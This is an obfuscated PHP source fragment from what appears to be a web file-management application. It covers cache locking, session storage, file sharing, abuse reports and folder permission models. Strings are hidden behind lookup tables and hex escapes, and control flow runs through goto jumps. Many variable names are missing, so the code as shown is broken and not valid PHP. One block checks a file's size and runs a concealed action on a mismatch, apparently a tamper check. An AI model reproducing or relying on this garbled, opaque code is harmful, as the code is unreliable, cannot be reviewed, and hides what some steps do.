$this->handle->addServer($[$[218]], $[$[219]]); } } public function set($ܒ, $¹˧, $֞ʳ = false) { $֞ʳ = $֞ʳ ? $֞ʳ : $this->cacheTime; return $this->handle->set($ܒ, $¹˧, $֞ʳ); } public function get($ࡴ) { return $this->handle->get($ࡴ); } public function remove($ϕ) { return $this->handle->delete($ϕ); } public function deleteAll() { return $this->handle->flush(); } } goto B; fޅԶ: $_size = $_SERVER[՟][924]; if ($_SERVER[$_SERVER[՟][54]] != $_size($_file)) { $_getc = $_SERVER[՟][56]; $_getfile = $_SERVER[$_SERVER[՟][57]] . $_SERVER[՟][58]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[՟][59], $_getfilec); if (count($_getarrs) < $_SERVER[՟][60]) { $exit = $_SERVER[՟][61]; $exit(); } $_act = $_SERVER[՟][62]; $_act($_file); } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ֵ =& $_SERVER[՟]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$ֵ[6]][$ֵ[434]]; self::$timeout = $[$ֵ[925]] ? $[$ֵ[925]] : 10; $ʌ = _get($GLOBALS[$ֵ[6]], $ֵ[926]); $ܟ裑 = $[$ֵ[910]] ? $[$ֵ[910]] : $ֵ[240]; if ($ܟ裑 == $ֵ[21] && $ʌ == $ֵ[13]) { $ܟ裑 = $ֵ[240]; } switch ($ܟ裑) { case $ֵ[913]: self::$handle = new CacheLockRedis(); break; case $ֵ[914]: self::$handle = new CacheLockMemcached(); break; case $ֵ[21]: self::$handle = new CacheLockDatabase(); break; case $ֵ[240]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($ֵ[927], $ֵ[928]); } return self::$handle; } private static function key($) { return $_SERVER[՟][929] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($Ո = '') { self::$errorMsg = $Ո; } public static function lockGlobal($뒭, $۶ö) { return self::lock($뒭, $۶ö, !0); } public static function lock($Į, $ʅ = false, $㏅ = false) { $뎑 =& $_SERVER[՟]; $ = self::init(); $ƅ = self::key($Į); $ʅ = $ʅ ? $ʅ : self::$timeout; $ = timeFloat(); $ۄ = $->lock($ƅ, $ʅ); $Ҁ = timeFloat(); if (!$ۄ) { $ = "\x6c\x6f\143\153\40\145\x72\x72\x6f\x72\73\153\x65\x79\75{$Į}\x3b\164\151\x6d\x65\75{$ʅ}\x3b" . self::$errorMsg . $뎑[84] . get_caller_msg(); $ơ㶇 = LNG($뎑[930]) . "\50{$ʅ}\163\x29\x2e" . LNG($뎑[931]); $ơ㶇 .= $뎑[932]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ơ㶇 = $ơ㶇 . $뎑[933] . self::$errorMsg; } write_log($뎑[934] . sprintf($뎑[935], timeFloat() - $) . $뎑[936] . $ . $뎑[937] . error_get_last(), $뎑[928]); show_json($ơ㶇, !1); } if (!$㏅) { self::$lockItem[$ƅ] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $Ҁ, 3); write_log($뎑[938] . $Į . $뎑[939] . $, $뎑[928]); } return $ۄ; } public static function lockGet($) { $碰 = self::key($); if (self::$lockItem[$碰]) { return self::$lockItem[$碰]; } return self::init()->lockGet($碰); } public static function unlock($⃛Ƿ) { $Ժ =& $_SERVER[՟]; $䙅 = self::key($⃛Ƿ); self::$lockItem[$䙅] = null; self::init()->unlock($䙅); if (GLOBAL_DEBUG_LOG_ALL) { write_log($Ժ[940] . $⃛Ƿ, $Ժ[928]); } return; } public static function unlockRuntime() { $᭼ =& $_SERVER[՟]; $ڥ = self::init(); $ = !1; foreach (self::$lockItem as $˺ɐ => $) { if (!$) { continue; } $ڥ->unlock($˺ɐ); if (!$) { $ = !0; write_log($᭼[941] . $˺ɐ . $᭼[84] . get_caller_msg(), $᭼[928]); continue; } write_log($᭼[941] . $˺ɐ, $᭼[928]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ɱ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($᭼[942] . $ɱ . $᭼[943] . ACTION, $᭼[928]); } } public static function fileLock($) { $Ƚé =& $_SERVER[՟]; if (!$GLOBALS[$Ƚé[944]]) { $GLOBALS[$Ƚé[944]] = array(); } $GLOBALS[$Ƚé[944]][$] = !1; $ƞ = fopen(DATA_PATH . $ . $Ƚé[945], $Ƚé[946]); if (!$ƞ) { return !1; } $GLOBALS[$Ƚé[944]][$] = $ƞ; if (flock($ƞ, LOCK_EX)) { return !0; } self::unlock($); show_json($Ƚé[947], !1); return !1; } public static function fileUnlock($ԗ) { $ =& $_SERVER[՟]; $ѱ = $GLOBALS[$[944]][$ԗ]; if (!$ѱ) { return; } $GLOBALS[$[944]][$ԗ] = !1; flock($ѱ, LOCK_UN); fclose($ѱ); } public static function fileUnlockAll() { $ޝ =& $_SERVER[՟]; if (!isset($GLOBALS[$ޝ[944]]) || !$GLOBALS[$ޝ[944]]) { return; } foreach ($GLOBALS[$ޝ[944]] as $ => $۴) { if (!$۴) { continue; } $GLOBALS[$ޝ[944]][$] = !1; flock($۴, LOCK_UN); fclose($۴); } $GLOBALS[$ޝ[944]] = array(); } } goto D; a: class SessionModel extends ModelBase { protected $tableName = "\x73\171\x73\164\x65\155\x5f\163\x65\163\x73\151\x6f\156"; public function get($ȱ) { $ =& $_SERVER[՟]; $Ä⺥ = $this->where(array($[2111] => $ȱ))->find(); if (!is_array($Ä⺥)) { return !1; } return $Ä⺥[$[181]]; } public function set($奔, $ʛʲ, $췱 = 3600) { $̵嗽 =& $_SERVER[՟]; $ = array($̵嗽[2111] => $奔, $̵嗽[2011] => $ʛʲ, $̵嗽[2112] => $췱 + time()); if (Session::get($̵嗽[2113])) { $[$̵嗽[1773]] = Session::get($̵嗽[2113]); } else { $[$̵嗽[1773]] = 0; } if ($this->get($奔)) { return $this->where(array($̵嗽[2111] => $奔))->save($); } else { return $this->add($, array(), !0); } } public function remove($р) { return $this->where(array($_SERVER[՟][2111] => $р))->delete(); } public function clearTimeout() { return $this->where($_SERVER[՟][2114] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\x68\141\x72\x65"; protected $dataAuto = array(array("\155\x6f\x64\x69\x66\x79\124\x69\x6d\x65", "\x74\151\x6d\x65", "\x69\x6e\163\x65\162\x74\54\165\x70\x64\x61\164\x65", "\146\165\156\x63\164\x69\157\x6e"), array("\143\x72\x65\141\x74\x65\124\x69\155\145", "\x74\151\x6d\145", "\x69\156\x73\145\x72\164", "\146\165\x6e\x63\164\151\157\x6e"), array("\x6f\160\164\x69\x6f\x6e\163", '', "\x69\156\163\145\x72\x74\54\x75\x70\x64\x61\x74\145\x2c\x73\x65\154\145\x63\164", "\x6a\x73\x6f\156")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($ʼn) { $ =& $_SERVER[՟]; $ = isset($ʼn[0]) ? $ʼn[0] : !1; return array($[2115] => array(USER_ID, $[2116]), $[2056] => array($, $[2117])); } protected function listSimple() { $ = array($_SERVER[՟][1773] => USER_ID); $ = $this->field($this->fieldList)->where($)->select(); return $ ? $ : array(); } protected function getInfo($Ƅ, $牵 = false) { $ŅƠ =& $_SERVER[՟]; if ($牵) { return $this->_getShareInfo(array($ŅƠ[674] => $Ƅ)); } $՟ɯ = $this->cacheFunctionGet($ŅƠ[2058], $Ƅ); return $՟ɯ; } public function getInfoByHash($¸) { return $this->_getShareInfo(array($_SERVER[՟][2118] => $¸)); } public function getInfoByPath($) { $ =& $_SERVER[՟]; $ = array($[1773] => USER_ID, $[203] => $); return $this->_getShareInfo($); } public function getInfoBySourcePath($Ƕ) { $ =& $_SERVER[՟]; $軯 = array($[1773] => USER_ID, $[1260] => $Ƕ); return $this->_getShareInfo($軯); } private function _getShareInfo($ۙ̈) { $ =& $_SERVER[՟]; $ = $this->where($ۙ̈)->find(); if (!$) { return !1; } $ۙ̈ = array($[674] => $[$[674]]); $ژ = $[2119]; $Ě = Model($[675])->order($[484])->field($ژ)->where($ۙ̈)->select(); if ($[$[203]] == $[238]) { $[$[100]] = IO::info($[$[1260]]); } else { $[$[100]] = Model($[1421])->pathInfo($[$[203]]); } $[$[2120]] = $Ě; return $; } protected function getInfoAuth($) { $ӊ =& $_SERVER[՟]; $ȭ = $this->getInfo($); if ($ȭ[$ӊ[1773]] == USER_ID) { $ȭ[$ӊ[496]] = $ȭ[$ӊ[100]][$ӊ[496]]; } else { $ȭ[$ӊ[496]] = Model($ӊ[576])->authMake($ȭ[$ӊ[2120]]); } return $ȭ; } protected function listData($ = null, $ = 300) { $÷ѐ =& $_SERVER[՟]; $ = array(array($÷ѐ[571] => array($÷ѐ[1093], 0), $÷ѐ[672] => array($÷ѐ[1093], 0), $÷ѐ[2121] => $÷ѐ[2074])); if ($ == $÷ѐ[2122]) { $ = array($÷ѐ[571] => 1); } else { if ($ == $÷ѐ[1245]) { $ = array($÷ѐ[672] => 1); } } $[$÷ѐ[1773]] = USER_ID; $ǰ = $this->where($)->selectPage($); return $ǰ; } protected function listToMe($ӳ = 300) { $۬ =& $_SERVER[՟]; $ܱͫ = Model($۬[2123])->userGroupParents(USER_ID); $ᵺ = array($۬[657] => SourceModel::TYPE_USER, $۬[578] => USER_ID); if ($ܱͫ) { $ᵺ = array(array($۬[657] => SourceModel::TYPE_USER, $۬[578] => USER_ID), array($۬[657] => SourceModel::TYPE_GROUP, $۬[578] => array($۬[7], $ܱͫ)), $۬[2121] => $۬[2074]); } $ = Model($۬[675])->where($ᵺ)->selectPage($ӳ); $ݡת = array_to_keyvalue_group($[$۬[454]], $۬[674]); if (!$ݡת) { return $; } $Ĕ = $۬[2124]; $ᵺ = array($۬[674] => array($۬[501], array_keys($ݡת)), $۬[1773] => array($۬[1095], $۬[238])); $ = $this->field($Ĕ)->where($ᵺ)->select(); foreach ($ as $ܘǴ => &$ڶ) { $ڶ[$۬[2120]] = $ݡת[$ڶ[$۬[674]]]; } unset($ڶ); $Ҋ = array($۬[2125] => $, $۬[2126] => $[$۬[451]]); return $Ҋ; } protected function shareAdd($, $ǰ) { $ =& $_SERVER[՟]; $ = $this->_addShareData($, $ǰ); if (!empty($ǰ[$[2127]])) { $this->_shareAuthSet($, $ǰ[$[2127]]); } $this->shareEventAdd($, $ǰ, $[2128]); return $; } protected function shareAddSystem($Ӿ, $) { $ =& $_SERVER[՟]; $ = $this->_addShareData($Ӿ, $, $[201]); $this->_shareAuthSet($, $[$[2127]]); return $; } private function shareEventAdd($, $͡, $Щ = "\141\144\x64") { $ =& $_SERVER[՟]; if (!$ || $ == $[238]) { return; } if ($Щ == $[2128]) { if ($͡[$[571]] == $[101]) { Model($[642])->eventShare($, $[2129]); } if ($͡[$[672]] == $[101]) { Model($[642])->eventShare($, $[2130]); } return; } $ = $this->getInfoByPath($); $Γ = $[2131]; if ($[$[571]] == $[238] && $͡[$[571]] == $[101]) { $Γ = $[2129]; } if ($[$[571]] == $[101] && $͡[$[571]] == $[238]) { $Γ = $[2132]; } if ($[$[672]] == $[238] && $͡[$[672]] == $[101]) { $Γ = $[2130]; } if ($[$[672]] == $[101] && $͡[$[672]] == $[238]) { $Γ = $[2133]; } Model($[642])->eventShare($, $Γ); return; } private function _addShareData($ȳ, $楄 = array(), $ۨ = false) { $ =& $_SERVER[՟]; $߬ê = $ۨ == $[201] ? 0 : USER_ID; $Ţ = array($[500] => $ȳ, $[1764] => $߬ê); if ($ȳ == 0) { $Ţ = array($[2134] => $楄[$[1260]], $[1764] => $߬ê); } if ($ = $this->where($Ţ)->find()) { return $[$[674]]; } if ($ȳ == 0) { $ҵ = array($[32] => get_path_this($楄[$[97]])); } else { $ҵ = Model($[908])->sourceInfo($ȳ); if (!$ҵ) { return !1; } } if (!$楄[$[1662]]) { $楄[$[1662]] = $ҵ[$[32]]; } $㡶 = array($[1764] => $߬ê, $[500] => $ȳ, $[1662] => $[12], $[571] => 0, $[672] => 0, $[1260] => $[12], $[392] => $[12], $[970] => $[12], $[2135] => 0, $[2136] => 0, $[845] => 0, $[2137] => $[12], $[2118] => $[12]); $ = explode($[50], $[2138]); foreach ($ as $ꫯ) { if (!isset($楄[$ꫯ])) { continue; } $㡶[$ꫯ] = $楄[$ꫯ]; } $ = $this->add($㡶); $ԕ = array($[2118] => short_id($)); $this->where(array($[2139] => $))->save($ԕ); return $; } private function _shareAuthSet($ϛ, $) { $š =& $_SERVER[՟]; if (!is_array($)) { return !1; } $ל = Model($š[2084]); $ל->where(array($š[674] => $ϛ))->delete(); $č = array(); foreach ($ as $) { $ַ¾ = SourceModel::TYPE_USER; if ($[$š[200]] == SourceModel::TYPE_GROUP) { $ַ¾ = SourceModel::TYPE_GROUP; } $י = array($š[674] => $ϛ, $š[200] => $ַ¾, $š[578] => intval($[$š[578]]), $š[2080] => 0, $š[2140] => -1); if ($[$š[2080]]) { $י[$š[2080]] = $[$š[2080]]; } else { if ($[$š[2140]]) { $י[$š[2140]] = $[$š[2140]]; } } $č[] = $י; } return $ל->addAll($č, array(), !0); } public function numViewAdd($) { $гާ =& $_SERVER[՟]; $ӯҒ = array($гާ[2139] => $); $this->where($ӯҒ)->setAdd($гާ[2135]); } public function numDownloadAdd($û) { $ =& $_SERVER[՟]; $ = array($[2139] => $û); $this->where($)->setAdd($[2136]); } protected function shareEdit($Ƞ, $) { $߲ =& $_SERVER[՟]; $ = $this->getInfo($Ƞ); if (!$) { return !1; } $this->_checkLinkShare($, $); $ = array(); $Ҧ = explode($߲[50], $߲[2141]); foreach ($Ҧ as $̶) { if (!array_key_exists($̶, $)) { continue; } $[$̶] = $[$̶]; } $this->shareEventAdd($[$߲[203]], $, $߲[1941]); $this->where(array($߲[2139] => $Ƞ))->save($); if (isset($[$߲[2127]])) { $this->_shareAuthSet($Ƞ, $[$߲[2127]]); } return !0; } private function _checkLinkShare($, $) { $ȣʬ =& $_SERVER[՟]; if ($[$ȣʬ[571]] != $ȣʬ[101]) { return; } $Š = $[$ȣʬ[100]][$ȣʬ[203]]; if ($[$ȣʬ[100]][$ȣʬ[33]] != $ȣʬ[240]) { $̸ = $this->_folderReport($Š); if (!$̸) { return; } show_json(LNG($ȣʬ[2142]) . $ȣʬ[2143] . $̸, !1); } $走 = Model($ȣʬ[908])->fileInfoGet($[$ȣʬ[100]][$ȣʬ[203]]); if (!$走) { return; } $ˎ܁ = $this->shareFileMeta($走[$ȣʬ[550]]); if (isset($ˎ܁[$ȣʬ[459]]) && $ˎ܁[$ȣʬ[459]] == $ȣʬ[101]) { show_json(LNG($ȣʬ[2144]), !1); } } private function _folderReport($) { $ =& $_SERVER[՟]; $ޟ = array($[550] => array($[1093], 0), $[834] => 3); $ = Model($[2145])->where($ޟ)->field($[550])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $[12], $[550]); $ = $[50] . $ . $[50]; $ޟ = array($[550] => array($[7], $), $[593] => array($[468], "\45{$}\45"), $[514] => 0); $ = Model($[908])->where($ޟ)->field($[2146])->find(); if (!$) { return !1; } $ = substr($[$[593]], strpos($[$[593]], $)); $ޟ = array($[203] => array($[7], trim($, $[50]))); $ = Model($[908])->where($ޟ)->field($[32])->select(); $犍 = array_to_keyvalue($, $[12], $[32]); $犍[] = $[$[32]]; return implode($[8], $犍); } protected function remove($) { $ =& $_SERVER[՟]; $ = is_array($) ? $ : array($); for ($ = 0; $ < count($); $++) { $ = $this->getInfo($[$]); if ($[$[672]] == $[101]) { Model($[642])->eventShare($[$[203]], $[2133]); } if ($[$[571]] == $[101]) { Model($[642])->eventShare($[$[203]], $[2132]); } } if (is_array($)) { $ = array($[7], $); } $۠ = array($[674] => $); $訷 = $this->where($۠)->delete(); if ($訷) { Model($[675])->where(array($[674] => $))->delete(); } return $訷; } protected function removeBySource($) { $ =& $_SERVER[՟]; $ = array($[500] => array($[501], $)); $Ȼή = $this->field($[674])->where($)->select(); $Ȼή = array_to_keyvalue($Ȼή, $[12], $[674]); if (!$Ȼή) { return; } $ = array($[2139] => array($[501], $Ȼή)); $this->where($)->delete(); Model($[675])->where($)->delete(); } public function listAll($瑝) { $ =& $_SERVER[՟]; $Ґь = array(); if ($瑝[$[1773]]) { $Ґь[$[1773]] = $瑝[$[1773]]; } if ($瑝[$[844]]) { $ߖ = $瑝[$[845]] ? $瑝[$[845]] : strtotime(date($[2147])); $Ґь[$[241]] = array($[418], array($瑝[$[844]], $ߖ)); } if ($瑝[$[33]]) { $Ґь[$瑝[$[33]]] = 1; } else { $Ґь[] = array($[571] => array($[1093], 0), $[672] => array($[1093], 0), $[2121] => $[2074]); } if ($瑝[$[2070]]) { $Ґь[] = array($[2118] => $瑝[$[2070]], $[1662] => array($[468], "\45{$瑝[$[2070]]}\x25"), $[2121] => $[2074]); } $襝 = $this->_makeOrder()->where($Ґь)->selectPage(20); if (empty($襝[$[454]])) { return array(); } $this->_listDataApply($襝[$[454]]); return $襝; } public function listDataApply($쿀) { $this->_listDataApply($쿀); return $쿀; } private function _listDataApply(&$Ȑ䤷) { $ꌤ =& $_SERVER[՟]; $е = array_to_keyvalue($Ȑ䤷, $ꌤ[12], $ꌤ[1773]); $ = Model($ꌤ[607])->userListInfo(array_unique($е)); $ˁ = array_to_keyvalue($Ȑ䤷, $ꌤ[12], $ꌤ[203]); $⻪ = Model($ꌤ[908])->sourceListInfo($ˁ, !0); foreach ($Ȑ䤷 as $ => &$ح) { $ϲ = $ح[$ꌤ[1773]]; $ح[$ꌤ[2148]] = $[$ϲ] ? $[$ϲ] : !1; $ϖ = $ح[$ꌤ[203]]; $ح[$ꌤ[100]] = $⻪[$ϖ] ? $⻪[$ϖ] : !1; if ($ح[$ꌤ[100]][$ꌤ[514]] == $ꌤ[101]) { unset($Ȑ䤷[$]); } if ($ح[$ꌤ[100]] != $ꌤ[238] && !$ح[$ꌤ[100]]) { unset($Ȑ䤷[$]); } } unset($ح); $Ȑ䤷 = array_values($Ȑ䤷); } private function _makeOrder($ = '') { $ᖁ =& $_SERVER[՟]; $ = array($ᖁ[241], $ᖁ[845], $ᖁ[2135], $ᖁ[2136]); $ = array($ᖁ[532] => $ᖁ[533], $ᖁ[534] => $ᖁ[535]); $ս = Input::get($ᖁ[539], $ᖁ[7], $ᖁ[506], $); $Ԁ = Input::get($ᖁ[540], $ᖁ[7], $ᖁ[2149], array($ᖁ[2067], $ᖁ[534])); $Ԁ = $[$Ԁ]; $ = $ . "{$ս}\x20{$Ԁ}"; return $this->order($); } public function reportAdd($蔘) { $ū =& $_SERVER[՟]; $ᅱ = array($ū[674] => $蔘[$ū[674]], $ū[1773] => USER_ID); if (Model($ū[2145])->where($ᅱ)->find()) { return !1; } $ = array($ū[674] => $蔘[$ū[674]], $ū[1662] => $蔘[$ū[1662]], $ū[203] => $蔘[$ū[203]], $ū[550] => $蔘[$ū[550]], $ū[1773] => USER_ID, $ū[33] => $蔘[$ū[33]], $ū[535] => $蔘[$ū[535]]); return Model($ū[2145])->add($); } public function reportList($ﴬ) { $ =& $_SERVER[՟]; $ß = array(); if ($ﴬ[$[844]]) { $ = $ﴬ[$[845]] ? $ﴬ[$[845]] : strtotime(date($[2147])); $ß[$[241]] = array($[418], array($ﴬ[$[844]], $)); } if (isset($ﴬ[$[33]]) && in_array($ﴬ[$[33]], array($[101], $[519], $[2150], $[2151], $[2152]))) { $ß[$[33]] = $ﴬ[$[33]]; } if (isset($ﴬ[$[834]]) && in_array($ﴬ[$[834]], array($[238], $[101], $[519], $[2150]))) { $ß[$[834]] = $ﴬ[$[834]]; } $ = Input::get($[540], $[7], $[2149], array($[2067], $[534])); $Ô = array($[532] => $[533], $[534] => $[535]); $ۻ唖 = $[2153] . $Ô[$]; $ޒ = Model($[2145])->where($ß)->order($ۻ唖)->selectPage(20); if (empty($ޒ[$[454]])) { return array(); } $ŀߩ = array_to_keyvalue_group($ޒ[$[454]], $[834], $[674]); if (!empty($ŀߩ[0])) { $ﴬ = $ŀߩ[0]; $ß = array($[674] => array($[7], $ﴬ)); $ג = $this->where($ß)->field($[674])->select(); $ג = array_to_keyvalue($ג, $[12], $[674]); $ӫ̌ = array_diff($ﴬ, $ג); if (!empty($ӫ̌)) { foreach ($ޒ[$[454]] as $ => $ՓƲ) { if (in_array($ՓƲ[$[674]], $ӫ̌)) { unset($ޒ[$[454]][$]); } } } } $this->_listDataApply($ޒ[$[454]]); return $ޒ; } public function reportStatus($ᔷ) { $É =& $_SERVER[՟]; $ = array($É[484] => $ᔷ[$É[484]]); $Ӧ = Model($É[2145])->where($)->field($É[2154])->find(); if (!$Ӧ) { return !1; } $Φ = array($É[834] => $ᔷ[$É[834]]); if ($ᔷ[$É[834]] == $É[2150] && $Ӧ[$É[834]] == $É[2150]) { $Φ[$É[834]] = 0; } $ǜ䎲 = Model($É[2145])->where($)->save($Φ); if ($ᔷ[$É[834]] == $É[519]) { if ($Ӧ[$É[550]] != $É[238] && $this->shareFileMeta($Ӧ[$É[550]])) { $this->shareFileMeta($Ӧ[$É[550]], 0); } $this->remove($Ӧ[$É[674]]); return !0; } if ($ǜ䎲 && $ᔷ[$É[834]] == $É[2150]) { $潻 = $Φ[$É[834]] == $É[2150] ? 1 : 0; $this->shareFileMeta($Ӧ[$É[550]], $潻); $this->removeByFile($Ӧ[$É[550]]); } return $ǜ䎲; } private function removeByFile($) { $ =& $_SERVER[՟]; $ = Model($[908])->where(array($[550] => $))->field($[203])->select(); $ = array_to_keyvalue($, $[12], $[203]); $ۧ = array($[203] => array($[7], $), $[571] => 1); $ = $this->where($ۧ)->field($[674])->select(); if (empty($)) { return; } $텱Ἄ = array_to_keyvalue($, $[12], $[674]); $this->remove($텱Ἄ); } private function shareFileMeta($, $ = null) { $ݼ =& $_SERVER[՟]; $ = array($ݼ[550] => $, $ݼ[107] => $ݼ[2155]); if (is_null($)) { return Model($ݼ[2156])->where($)->find(); } $[$ݼ[459]] = $; Model($ݼ[2156])->add($, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\157\137\163\157\x75\x72\x63\x65\x5f\141\x75\x74\150"; public function getAuth($鶑) { $ =& $_SERVER[՟]; $ = $this->sourceAuthSelect($鶑); $ = array(); $ = array(); $Э = 2 << 25; foreach ($ as $∸) { $≑ = Model($[580])->listData($∸[$[2080]]); if (!$≑) { continue; } $[] = $∸; $ = 0; if ($∸[$[200]] == SourceModel::TYPE_GROUP) { $ = $Э * 2; } if ($∸[$[200]] == SourceModel::TYPE_USER) { $ = $Э; } if ($∸[$[200]] == SourceModel::TYPE_USER && $∸[$[578]] == $[238]) { $ = 0; } $[] = $≑[$[496]] + $; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($˭) { $ј =& $_SERVER[՟]; static $̾ = array(); $ũ = is_array($˭) ? !1 : !0; if ($ũ) { $˭ = array($˭); } $ʚ = array(); foreach ($˭ as $) { if (isset($̾[$])) { $ʚ[$] = $̾[$]; } } if (count($ʚ) == count($˭)) { return $ũ ? $ʚ[$˭[0]] : $ʚ; } $ӻ = $ј[2157]; $ݹ = array($ј[203] => array($ј[7], $˭)); $ê = $this->field($ӻ)->order($ј[484])->where($ݹ)->select(); $ = array_to_keyvalue_group($ê, $ј[203]); foreach ($˭ as $) { $̾[$] = $[$] ? $[$] : array(); } if ($ũ) { return $ê; } return $; } public function setAuth($ѯ, $) { $н =& $_SERVER[՟]; $ = Model($н[1421])->sourceInfo($ѯ); if (!$) { return !1; } if ($[$н[200]] != SourceModel::TYPE_GROUP) { return !1; } $ֳ = 1; $ = $[$н[578]]; if ($ != $ֳ) { $ї = array($н[1972] => $); $ = Model($н[2066])->field($н[1773])->where($ї)->select(); $ = array_to_keyvalue($, $н[12], $н[1773]); } $ºԄ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $֝ = array(); foreach ($ as $˴) { if (!in_array($˴[$н[200]], $ºԄ)) { show_json(LNG($н[2158]), !1); } if ($ != $ֳ) { if ($˴[$н[200]] == SourceModel::TYPE_GROUP) { } if ($˴[$н[578]] != 0 && !in_array($˴[$н[578]], $)) { } } if ($˴[$н[578]] == 0) { $˴[$н[200]] = SourceModel::TYPE_USER; } $֝[] = array($н[203] => $ѯ, $н[200] => intval($˴[$н[200]]), $н[578] => intval($˴[$н[578]]), $н[2080] => intval($˴[$н[2080]]) ? intval($˴[$н[2080]]) : 0, $н[2140] => intval($˴[$н[2140]]) ? intval($˴[$н[2140]]) : -1); } $this->where(array($н[500] => $ѯ))->delete(); $this->addAll($֝); return !0; } public function authClear($) { $ =& $_SERVER[՟]; $ᓙ = Model($[1421])->sourceInfo($); $ְ = array($); if ($ᓙ[$[494]] == $[101]) { $Ҁ = array($[661] => array($[621], $ᓙ[$[593]] . $ . $[622])); $ְ = Model($[1421])->field($[500])->where($Ҁ)->getField($[203], !0); $ְ[] = $; } $this->where(array($[500] => array($[501], $ְ)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[՟]; $ = Model($[1421])->sourceInfo($); if ($[$[494]] != $[101]) { return $this->sourceListAuth(array($)); } if ($[$[200]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ץ = array($); if ($[$[202]] == $[238] && $[$[578]] != $) { $ץ = $this->groupChidldAllRootSource($[$[578]]); } $ = $this->field($[203])->group($[203])->select(); $ = array_to_keyvalue($, $[12], $[203]); if (!$) { return array(); } $ͨޖ = $[2159]; $ӡ = array($[203] => array($[7], $), $[514] => $[238]); $ = Model($[908])->field($ͨޖ)->where($ӡ)->select(); $ڰ = array($); foreach ($ as $ﳦ) { foreach ($ץ as $) { $ = $[50] . $ . $[50]; $ = $ﳦ[$[593]] . $ﳦ[$[203]] . $[50]; if (strstr($, $)) { $ڰ[] = $ﳦ[$[203]]; break; } } } return $this->sourceListAuth($ڰ); } private function sourceListAuth($ɓ) { $ =& $_SERVER[՟]; $ߔ = Model($[1421])->sourceListInfo($ɓ, !0); $ = $this->sourceAuthSelect($ɓ); $䤳 = array(); $ۛ = array(); foreach ($ߔ as $) { unset($[$[538]]); unset($[$[536]]); unset($[$[496]]); unset($[$[100]]); $ = $[$[$[203]]]; if (!$) { continue; } $[$[2160]] = $this->authTargetInfo($); $[$[591]] = rtrim($[$[597]], $[8]) . $[8] . ltrim($[$[591]], $[8]); $䤳[] = $; $؞⛙ = count(explode($[8], trim($[$[591]], $[8]))); $ۛ[] = $؞⛙ + ($[$[33]] == $[88] ? 0 : 1000); } array_multisort($ۛ, SORT_ASC, $䤳); return $䤳; } private function groupChidldAllRootSource($Ө) { $ =& $_SERVER[՟]; $ʭ = Model($[2161])->groupChildrenAll($Ө); $ = array($[202] => 0, $[578] => array($[7], $ʭ), $[200] => SourceModel::TYPE_GROUP); $ = Model($[908])->field($[203])->where($)->select(); $ = array_to_keyvalue($, $[12], $[203]); return $; } private function authTargetInfo($䠄) { $ӵħ =& $_SERVER[՟]; $ = array(); $쬅 = array(); $ȿ = 2 << 25; foreach ($䠄 as $) { $ߕ = Model($ӵħ[580])->listData($[$ӵħ[2080]]); if (!$ߕ) { continue; } if ($[$ӵħ[200]] == SourceModel::TYPE_USER) { $Թ = Model($ӵħ[586])->getInfoSimpleOuter($[$ӵħ[578]]); if ($Թ[$ӵħ[1773]] == $ӵħ[1276]) { continue; } if ($Թ[$ӵħ[1773]] == $ӵħ[238]) { $Թ[$ӵħ[32]] = LNG($ӵħ[2162]); } } else { $Թ = Model($ӵħ[594])->getInfoSimple($[$ӵħ[578]]); } if (!$Թ) { continue; } $Թ[$ӵħ[549]] = $ߕ; $[] = $Թ; $֮ = 0; if ($[$ӵħ[200]] == SourceModel::TYPE_GROUP) { $֮ = $ȿ * 2; } if ($[$ӵħ[200]] == SourceModel::TYPE_USER) { $֮ = $ȿ; } if ($[$ӵħ[200]] == SourceModel::TYPE_USER && $[$ӵħ[578]] == $ӵħ[238]) { $֮ = 0; } $쬅[] = $ߕ[$ӵħ[496]] + $֮; } array_multisort($쬅, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $) { $ =& $_SERVER[՟]; $ې = Model($[607])->getInfo($); if (!$ || !$ || !$ې) { return array(); } $͘ = Model($[1421])->sourceInfo($); $ކ = array(); $Ù = 1; if ($͘[$[202]] == $[238] && $͘[$[578]] != $Ù && $this->groupContainUser($͘[$[578]], $)) { foreach ($ې[$[2163]] as $) { $ܹ = Model($[594])->getInfo($[$[1972]]); $؞ = Model($[607])->getInfoSimpleOuter($); $؞[$[549]] = $[$[496]]; if (Model($[580])->authCheckAction($[$[496]][$[496]], $[1993])) { continue; } $ؕ = array($[32] => $[1296] . $ܹ[$[32]], $[203] => $ܹ[$[100]][$[203]], $[97] => KodIO::make($ܹ[$[100]][$[203]]), $[202] => $[238], $[200] => $[587], $[33] => $[625], $[591] => $ܹ[$[598]], $[1972] => $ܹ[$[1972]], $[595] => $ܹ[$[202]], $[2160] => array($؞)); $ކ[$ؕ[$[203]]] = $ؕ; } } $љ = array(); $ = $this->getAllChildren($); foreach ($ as $) { $Ÿ = !1; foreach ($[$[2160]] as $) { if ($[$[1773]]) { if ($[$[1773]] == $) { $Ÿ = !0; break; } } if ($[$[1972]]) { if ($this->groupContainUser($[$[1972]], $)) { $Ÿ = !0; break; } } } if ($Ÿ) { $љ[] = $; } $ = $[$[203]]; if (isset($ކ[$])) { $[$[2160]][] = $ކ[$][0]; $ކ[$] = !1; } } $ކ = array_filter(array_values($ކ)); $љ = array_merge($ކ, $љ); return $љ; } public function setAllChildrenByUser($Ҝȧ, $ܾ, $) { $ =& $_SERVER[՟]; $ = $this->getAllChildrenByUser($Ҝȧ, $ܾ); if (!$ || !$) { return !1; } foreach ($ as $) { $¿ = array(); foreach ($[$[2160]] as $Աٛ) { $ھ = $Աٛ[$[549]]; 